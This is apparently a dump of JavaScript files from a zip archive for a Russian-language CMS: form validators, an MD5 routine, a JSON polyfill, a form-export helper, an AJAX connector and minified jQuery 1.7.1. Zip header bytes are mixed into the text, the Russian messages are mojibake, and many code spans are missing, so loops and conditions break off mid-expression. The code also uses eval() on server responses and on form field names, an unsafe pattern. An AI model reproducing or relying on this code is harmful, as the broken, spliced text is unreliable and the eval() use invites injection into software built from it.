Error("LiveValidation::getElementType - Cannot use LiveValidation on an "+this.element.type+" input!");default:throw new Error("LiveValidation::getElementType - Element must be an input, select, or textarea!");}},doValidations:function(){this.validationFailed=false;for(var C=0,A=this.validations.length;CNumber(C)){Validate.fail(K);}break;}return true;},Format:function(C,E){var C=String(C);var E=E||{};var A=E.failureMessage||"Not valid!";var B=E.pattern||/./;var D=E.negate||false;if(!D&&!B.test(C)){Validate.fail(A);}if(D&&B.test(C)){Validate.fail(A);}return true;},Email:function(B,C){var C=C||{};var A=C.failureMessage||"Must be a valid email address!";Validate.Format(B,{failureMessage:A,pattern:/^([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})$/i});return true;},URL:function(B,C){var C=C||{};var A=C.failureMessage||"Must be a valid address!";Validate.Format(B,{failureMessage:A,pattern:/^(ftp|http|https):\/\/(\w+:{0,1}\w*@)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?$/i});return true;},Length:function(F,G){var F=String(F);var G=G||{};var E=((G.minimum)||(G.minimum==0))?G.minimum:null;var H=((G.maximum)||(G.maximum==0))?G.maximum:null;var C=((G.is)||(G.is==0))?G.is:null;var A=G.wrongLengthMessage||"Must be "+C+" characters long!";var B=G.tooShortMessage||"Must not be less than "+E+" characters long!";var D=G.tooLongMessage||"Must not be more than "+H+" characters long!";switch(true){case (C!==null):if(F.length!=Number(C)){Validate.fail(A);}break;case (E!==null&&H!==null):Validate.Length(F,{tooShortMessage:B,minimum:E});Validate.Length(F,{tooLongMessage:D,maximum:H});break;case (E!==null):if(F.lengthNumber(H)){Validate.fail(D);}break;default:throw new Error("Validate::Length - Length(s) to validate against must be provided!");}return true;},Inclusion:function(H,F){var F=F||{};var K=F.failureMessage||"Must be included in the list!";var G=(F.caseSensitive===false)?false:true;if(F.allowNull&&H==null){return true;}if(!F.allowNull&&H==null){Validate.fail(K);}var D=F.within||[];if(!G){var A=[];for(var C=0,B=D.length;C> (j * 8 + 4)) & 0x0F) + hex_chr.charAt((num >> (j * 8)) & 0x0F); return str;} function str2blks_MD5(str){nblk = ((str.length + 8) >> 6) + 1;blks = new Array(nblk * 16);for(i = 0; i < nblk * 16; i++) blks[i] = 0;for(i = 0; i < str.length; i++) blks[i >> 2] |= str.charCodeAt(i) << ((i % 4) * 8); blks[i >> 2] |= 0x80 << ((i % 4) * 8); blks[nblk * 16 - 2] = str.length * 8; return blks; } function add(x, y){ var lsw = (x & 0xFFFF) + (y & 0xFFFF); var msw = (x >> 16) + (y >> 16) + (lsw >> 16); return (msw << 16) | (lsw & 0xFFFF);} function rol(num, cnt) {return (num << cnt) | (num >>> (32 - cnt));} function cmn(q, a, b, x, s, t){return add(rol(add(add(a, q), add(x, t)), s), b);} function ff(a, b, c, d, x, s, t){return cmn((b & c) | ((~b) & d), a, b, x, s, t);} function gg(a, b, c, d, x, s, t){return cmn((b & d) | (c & (~d)), a, b, x, s, t);} function hh(a, b, c, d, x, s, t){return cmn(b ^ c ^ d, a, b, x, s, t);} function ii(a, b, c, d, x, s, t){return cmn(c ^ (b | (~d)), a, b, x, s, t);} function MD5(str){ x = str2blks_MD5(str);a=1732584193;b=-271733879;c=-1732584194;d=271733878; for(i = 0; i < x.length; i += 16){ olda=a;oldb=b;oldc=c;oldd=d;a=ff(a, b, c, d, x[i+ 0], 7 , -680876936);d = ff(d, a, b, c, x[i+ 1], 12, -389564586);c = ff(c, d, a, b, x[i+ 2], 17, 606105819);b = ff(b, c, d, a, x[i+ 3], 22, -1044525330);a = ff(a, b, c, d, x[i+ 4], 7 , -176418897);d = ff(d, a, b, c, x[i+ 5], 12, 1200080426);c = ff(c, d, a, b, x[i+ 6], 17, -1473231341);b = ff(b, c, d, a, x[i+ 7], 22, -45705983); a = ff(a, b, c, d, x[i+ 8], 7 , 1770035416);d = ff(d, a, b, c, x[i+ 9], 12, -1958414417);c = ff(c, d, a, b, x[i+10], 17, -42063);b = ff(b, c, d, a, x[i+11], 22, -1990404162); a = ff(a, b, c, d, x[i+12], 7 , 1804603682);d=ff(d,a,b,c,x[i+13],12,-40341101);c=ff(c,d,a,b,x[i+14],17,-1502002290);b=ff(b,c,d,a,x[i+15],22,1236535329);a=gg(a,b,c,d,x[i+ 1],5 ,-165796510);d=gg(d,a,b,c,x[i+ 6],9 ,-1069501632);c=gg(c,d,a,b,x[i+11],14,643717713);b=gg(b,c,d,a,x[i+ 0],20,-373897302);a=gg(a,b,c,d,x[i+ 5],5 ,-701558691);d=gg(d,a,b,c,x[i+10],9 ,38016083);c=gg(c,d,a,b,x[i+15],14,-660478335);b=gg(b,c,d,a,x[i+ 4],20,-405537848);a=gg(a,b,c,d,x[i+ 9],5 ,568446438);d=gg(d,a,b,c,x[i+14],9 ,-1019803690);c=gg(c,d,a,b,x[i+ 3],14,-187363961);b=gg(b,c,d,a,x[i+ 8],20,1163531501);a=gg(a,b,c,d,x[i+13],5 ,-1444681467);d=gg(d,a,b,c,x[i+ 2],9 ,-51403784);c=gg(c,d,a,b,x[i+ 7],14,1735328473);b=gg(b,c,d,a,x[i+12],20,-1926607734);a=hh(a,b,c,d,x[i+ 5],4 ,-378558);d=hh(d,a,b,c,x[i+ 8],11,-2022574463);c=hh(c,d,a,b,x[i+11],16,1839030562);b=hh(b,c,d,a,x[i+14],23,-35309556);a=hh(a,b,c,d,x[i+ 1],4 ,-1530992060);d=hh(d,a,b,c,x[i+ 4],11,1272893353);c=hh(c,d,a,b,x[i+ 7],16,-155497632);b=hh(b,c,d,a,x[i+10],23,-1094730640);a=hh(a,b,c,d,x[i+13],4 ,681279174);d=hh(d,a,b,c,x[i+ 0],11,-358537222);c=hh(c,d,a,b,x[i+ 3],16,-722521979);b=hh(b,c,d,a,x[i+ 6],23,76029189);a=hh(a,b,c,d,x[i+ 9],4 ,-640364487);d=hh(d,a,b,c,x[i+12],11,-421815835);c=hh(c,d,a,b,x[i+15],16,530742520);b=hh(b,c,d,a,x[i+ 2],23,-995338651);a=ii(a,b,c,d,x[i+ 0],6 ,-198630844);d=ii(d,a,b,c,x[i+ 7],10,1126891415);c=ii(c,d,a,b,x[i+14],15,-1416354905);b=ii(b,c,d,a,x[i+ 5],21,-57434055);a=ii(a,b,c,d,x[i+12],6 ,1700485571);d=ii(d,a,b,c,x[i+ 3],10,-1894986606);c=ii(c,d,a,b,x[i+10],15,-1051523);b=ii(b,c,d,a,x[i+ 1],21,-2054922799);a=ii(a,b,c,d,x[i+ 8],6 ,1873313359);d=ii(d,a,b,c,x[i+15],10,-30611744);c=ii(c,d,a,b,x[i+ 6],15,-1560198380);b=ii(b,c,d,a,x[i+13],21,1309151649);a=ii(a,b,c,d,x[i+ 4],6 ,-145523070);d=ii(d,a,b,c,x[i+11],10,-1120210379);c=ii(c,d,a,b,x[i+ 2],15,718787259);b=ii(b,c,d,a,x[i+ 9],21,-343485551);a = add(a, olda);b = add(b, oldb);c = add(c, oldc);d = add(d, oldd);} return rhex(a) + rhex(b) + rhex(c) + rhex(d); } var JSON; if (!JSON) { JSON = {}; } (function () { "use strict"; function f(n) { return n < 10 ? '0' + n : n; } if (typeof Date.prototype.toJSON !== 'function') { Date.prototype.toJSON = function (key) { return isFinite(this.valueOf()) ? this.getUTCFullYear() + '-' + f(this.getUTCMonth() + 1) + '-' + f(this.getUTCDate()) + 'T' + f(this.getUTCHours()) + ':' + f(this.getUTCMinutes()) + ':' + f(this.getUTCSeconds()) + 'Z' : null; }; String.prototype.toJSON = Number.prototype.toJSON = Boolean.prototype.toJSON = function (key) { return this.valueOf(); }; } var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g, gap, indent, meta = { '\b': '\\b', '\t': '\\t', '\n': '\\n', '\f': '\\f', '\r': '\\r', '"' : '\\"', '\\': '\\\\' }, rep; function quote(string) { escapable.lastIndex = 0; return escapable.test(string) ? '"' + string.replace(escapable, function (a) { var c = meta[a]; return typeof c === 'string' ? c : '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); }) + '"' : '"' + string + '"'; } function str(key, holder) { var i,k,v,length,mind = gap,partial,value = holder[key]; if (value && typeof value === 'object' && typeof value.toJSON === 'function') { value = value.toJSON(key); } if (typeof rep === 'function') { value = rep.call(holder, key, value); } switch (typeof value) { case 'string': return quote(value); case 'number': return isFinite(value) ? String(value) : 'null'; case 'boolean': case 'null': return String(value); case 'object': if (!value) { return 'null'; } gap += indent; partial = []; if (Object.prototype.toString.apply(value) === '[object Array]') { length = value.length; for (i = 0; i < length; i += 1) { partial[i] = str(i, value) || 'null'; } v = partial.length === 0 ? '[]' : gap ? '[\n' + gap + partial.join(',\n' + gap) + '\n' + mind + ']' : '[' + partial.join(',') + ']'; gap = mind; return v; } if (rep && typeof rep === 'object') { length = rep.length; for (i = 0; i < length; i += 1) { if (typeof rep[i] === 'string') { k = rep[i]; v = str(k, value); if (v) { partial.push(quote(k) + (gap ? ': ' : ':') + v); } } } } else { for (k in value) { if (Object.prototype.hasOwnProperty.call(value, k)) { v = str(k, value); if (v) { partial.push(quote(k) + (gap ? ': ' : ':') + v); } } } } v = partial.length === 0 ? '{}' : gap ? '{\n' + gap + partial.join(',\n' + gap) + '\n' + mind + '}' : '{' + partial.join(',') + '}'; gap = mind; return v; } } if (typeof JSON.stringify !== 'function') { JSON.stringify = function (value, replacer, space) { var i; gap = ''; indent = ''; if (typeof space === 'number') { for (i = 0; i < space; i += 1) { indent += ' '; } } else if (typeof space === 'string') { indent = space; } rep = replacer; if (replacer && typeof replacer !== 'function' && (typeof replacer !== 'object' || typeof replacer.length !== 'number')) { throw new Error('JSON.stringify'); } return str('', {'': value}); }; } if (typeof JSON.parse !== 'function') { JSON.parse = function (text, reviver) { var j; function walk(holder, key) { var k, v, value = holder[key]; if (value && typeof value === 'object') { for (k in value) { if (Object.prototype.hasOwnProperty.call(value, k)) { v = walk(value, k); if (v !== undefined) { value[k] = v; } else { delete value[k]; } } } } return reviver.call(holder, key, value); } text = String(text); cx.lastIndex = 0; if (cx.test(text)) { text = text.replace(cx, function (a) { return '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4); }); } if (/^[\],:{}\s]*$/ .test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@') .replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']') .replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) { j = eval('(' + text + ')'); return typeof reviver === 'function' ? walk({'': j}, '') : j; } throw new SyntaxError('JSON.parse'); }; } }()); function export_form(id,remove_prefix){ if(typeof remove_prefix == 'undefined' ) {remove_prefix='';} if(typeof id=='object'){ var form = id; } else{ var form = document.getElementById(id); } if (form == null) { return null; } if (typeof(form.elements) == 'undefined') { return null; } var formData = {}; for (var iterator = 0; iterator < form.elements.length; iterator ++) { var element = form.elements[iterator]; if (element.disabled) { continue; } var elementType = element.tagName.toLowerCase(); var elementName = null; var elementValue = null; if ( (typeof(element.name) != 'undefined') && (element.name.length > 0)) {elementName = element.name; } else if ( (typeof(element.id) != 'undefined') &&(element.id.length > 0)) { elementName = element.id; } if (elementName != null) { if (elementType == 'input') { if ( (element.type == 'text') || (element.type == 'password') || (element.type == 'button') || (element.type == 'submit') || (element.type == 'hidden')) { elementValue = element.value; } else if (element.type == 'checkbox') { elementValue = element.checked; } else if (element.type == 'radio') { if (element.checked) { elementValue = element.value; } else { try { var type = eval('typeof(formData.' + elementName + ')'); if (type != 'undefined') { continue; } } catch (e) { continue; } } } else if (element.type == 'file') { elementValue = element.value; } } else if (elementType == 'select') { if (element.options.length > 0) { if (element.multiple) { elementName = elementName.replace(/\[\]$/ig, ''); elementValue = []; for (var optionsIterator = 0; optionsIterator < element.options.length; optionsIterator ++) { if(element.getAttribute('fullselect')) { elementValue[element.options[optionsIterator].value]=element.options[optionsIterator].text; } else{ if (element.options[optionsIterator].selected) { elementValue.push(element.options[optionsIterator].value); } } } } else { if (element.selectedIndex >= 0) { elementValue = element.options[element.selectedIndex].value; } } } } else if (elementType == 'textarea') { elementValue = element.value; } try { if (remove_prefix){ var len = remove_prefix.length; if (elementName.slice(0,len) == remove_prefix) { elementName =elementName.slice(len); } } eval('formData["' + elementName + '"] = elementValue;'); } catch (e) {} } } return formData; }; var x3rewo424yy943o = 0; // this var connector_list={} var connector_last=false; function cms_connector(module) { this.async = true; this.callback = null; this.result = []; this.raw=false; this.module = '_common'; this.cache = {}; this.rlink = MD5(String(Math.random())); if (typeof module == 'string') { this.module = module; } else { this.module = false; } this.cache_key = false; this.execute = function(request,callback,raw) { if (typeof request == 'undefined') return false; if (typeof raw == 'undefined') { this.raw=false;} else { this.raw=true; } if (typeof callback == 'function') { this.async=true; this.callback=callback; } else { this.async=false; this.callback=null; } connector_list[this.rlink]=this; //x3rewo424yy943o=this; this.result=[]; var serialized_request = JSON.stringify(request); serialized_request.toString(); serialized_request = serialized_request.split('&').join('%%xamp;%%'); var modulestr = (typeof this.module == 'string' && this.module && this.module != '_common') ? 'module='+this.module+'$' : ''; var params = { 'dataType' : 'json', 'url' : document.location.protocol + '//' + document.location.host + '/cms/modules/connector/index.php', 'type' : 'POST', 'data' : 'request=' + modulestr+serialized_request, 'async' : this.async, 'processData' : true, 'complete' : function(answer){ //var rconnector = x3rewo424yy943o; var rconnector = connector_list[connector_last]; if (rconnector.raw) { rconnector.result=answer.responseText; } else { var response = false; if (rconnector.module == false) {rconnector.module = '_common';} if (rconnector.cache_key) { rconnector.cache[rconnector.module][rconnector.cache_key]=false; } if (answer.responseText != ""){ response = eval( "(" + answer.responseText + ")" ); } if (rconnector.cache_key) { rconnector.cache[rconnector.module][rconnector.cache_key]=response; rconnector.cache_key=false; } rconnector.result = response; } if (rconnector.async) { rconnector.callback(); } } }; connector_last=this.rlink; $.ajax(params); }; this.executex = function(request,callback,raw){ if (typeof callback != 'undefined' || typeof raw != 'undefined') { this.execute(request); } var module = this.module; if (module == "" || !module) { module="_common";} var cache_key = MD5(JSON.stringify(request)); if (typeof this.cache[module] == 'undefined') { this.cache[module]={}} if (typeof this.cache[module][cache_key] != 'undefined') { this.result = this.cache[module][cache_key]; return true; } this.cache_key=cache_key; this.execute(request); } this.clear_cache = function(){ this.cache={}; } }; var connector = new cms_connector(); var EMr = 'Извините, произошла ошибка c отправкой запроÑа!'; var EMn = 'Извините, произошла ошибка. (Код ошибки : '; var EM = 'Извините, произошла ошибка.'; function stdcheck(cconnector){ if (!cconnector.result){ alert(EMr); return false; } if (!cconnector.result.passed){ if (cconnector.result.error){ alert(EMn+cconnector.result.error+')'); } else {alert(EM);} return false; } return cconnector.result; }PK})[̳lÍîîdebug.jsnuW+A„¶$(function(){ $('.debug').hover(function(){ $(this).stop(); $(this).animate({opacity : 1.0},500); },function(){ $(this).stop(); $(this).animate({opacity : 0.3},500); }); }); PK})[ïk>Áüü xfront.jsnuW+A„¶$(function(){ $('.admin-other-objects').hover(function(){ $(this).stop(); $(this).animate({opacity : 1.0},500); },function(){ $(this).stop(); $(this).animate({opacity : 0.6},500); }); }); PK})[TE-ñ¬n¬njquery-1.7.1.min.jsnuW+A„¶/*! jQuery v1.7.1 jquery.com | jquery.org/license */ (function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){cl||(cl=c.createElement("iframe"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode==="CSS1Compat"?"":"")+""),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,"display"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}function cc(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g0){if(c!=="border")for(;g=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?parseFloat(d):j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.1",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a&&typeof a=="object"&&"setInterval"in a},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c
a",d=q.getElementsByTagName("*"),e=q.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=q.getElementsByTagName("input")[0],b={leadingWhitespace:q.firstChild.nodeType===3,tbody:!q.getElementsByTagName("tbody").length,htmlSerialize:!!q.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:q.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete q.test}catch(s){b.deleteExpando=!1}!q.addEventListener&&q.attachEvent&&q.fireEvent&&(q.attachEvent("onclick",function(){b.noCloneEvent=!1}),q.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),q.appendChild(i),k=c.createDocumentFragment(),k.appendChild(q.lastChild),b.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,k.removeChild(i),k.appendChild(q),q.innerHTML="",a.getComputedStyle&&(j=c.createElement("div"),j.style.width="0",j.style.marginRight="0",q.style.width="2px",q.appendChild(j),b.reliableMarginRight=(parseInt((a.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0);if(q.attachEvent)for(o in{submit:1,change:1,focusin:1})n="on"+o,p=n in q,p||(q.setAttribute(n,"return;"),p=typeof q[n]=="function"),b[o+"Bubbles"]=p;k.removeChild(q),k=g=h=j=q=i=null,f(function(){var a,d,e,g,h,i,j,k,m,n,o,r=c.getElementsByTagName("body")[0];!r||(j=1,k="position:absolute;top:0;left:0;width:1px;height:1px;margin:0;",m="visibility:hidden;border:0;",n="style='"+k+"border:5px solid #000;padding:0;'",o="
"+""+"
",a=c.createElement("div"),a.style.cssText=m+"width:0;height:0;position:static;top:0;margin-top:"+j+"px",r.insertBefore(a,r.firstChild),q=c.createElement("div"),a.appendChild(q),q.innerHTML="
t
",l=q.getElementsByTagName("td"),p=l[0].offsetHeight===0,l[0].style.display="",l[1].style.display="none",b.reliableHiddenOffsets=p&&l[0].offsetHeight===0,q.innerHTML="",q.style.width=q.style.paddingLeft="1px",f.boxModel=b.boxModel=q.offsetWidth===2,typeof q.style.zoom!="undefined"&&(q.style.display="inline",q.style.zoom=1,b.inlineBlockNeedsLayout=q.offsetWidth===2,q.style.display="",q.innerHTML="
",b.shrinkWrapBlocks=q.offsetWidth!==2),q.style.cssText=k+m,q.innerHTML=o,d=q.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,i={doesNotAddBorder:e.offsetTop!==5,doesAddBorderForTableAndCells:h.offsetTop===5},e.style.position="fixed",e.style.top="20px",i.fixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top="",d.style.overflow="hidden",d.style.position="relative",i.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,i.doesNotIncludeMarginInBodyOffset=r.offsetTop!==j,r.removeChild(a),q=a=null,f.extend(b,i))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.nodeName.toLowerCase()]||f.valHooks[g.type];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return 